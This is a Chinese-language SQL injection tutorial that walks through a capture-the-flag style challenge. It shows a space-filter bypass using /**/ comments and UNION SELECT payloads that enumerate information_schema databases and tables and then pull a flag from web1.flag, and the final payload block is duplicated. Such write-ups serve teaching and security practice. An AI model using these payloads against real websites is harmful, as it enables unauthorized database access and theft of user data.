所謂SQL注入,就是透過把SQL指令插入Web表單提交或輸入網域或頁面請求的查詢字串,最終達到欺騙伺服器執行惡意的SQL指令。接下來跟大家分享一個簡單的sql注入,一起看看吧
所謂SQL注入,就是透過把SQL指令插入Web表單提交或輸入網域或頁面請求的查詢字串,最後達到欺騙伺服器執行惡意的SQL命令。具體來說,它是利用現有應用程序,將(惡意)的SQL命令注入到後台資料庫引擎執行的能力,它可以透過在Web表單中輸入(惡意)SQL語句得到一個存在安全漏洞的網站上的資料庫,而不是依照設計者意圖去執行SQL語句。例如先前的許多影視網站外洩VIP會員密碼大多就是透過WEB表單遞交查詢字元暴出的,這類表單特別容易受到sql注入攻擊。
分別輸入1,2,3有對應的結果
使用'會報錯,於是
建構常用的sql語句: 1' 和 '1'='1
沒有反應試一試1' and '1'='2
還是沒反應,工具提示,應該是過濾了什麼,改一下sql語句試一試
1and1=1
可以顯示東西,經過判斷過濾了空格,我們使用/**/來代替空格
試試看1'/**/'1'='1
發現有結果了:
於是建構sql語句:
判斷有那些資料庫:
1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1
可以看到結果:
查看有哪些資料表:
1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1
發現了flag的表,我們猜測應該是在web1資料庫中並且字段就是flag(其實就在本頁面的資料庫中)
故:
##
1'/**/union/**/select/**/flag/**/from/**/web1.flag/**/where/**/'1'='1
1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1
可以看到結果:
查看有哪些資料表:
1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1
#發現了flag的表,我們猜測應該是在web1資料庫中且欄位就是flag(其實就在本頁面的資料庫)
故:##
1'/**/union/**/select/**/flag/**/from/**/web1.flag/**/where/**/'1'='1
以上是sql注入的相關簡單實例的詳細內容。更多資訊請關注PHP中文網其他相關文章!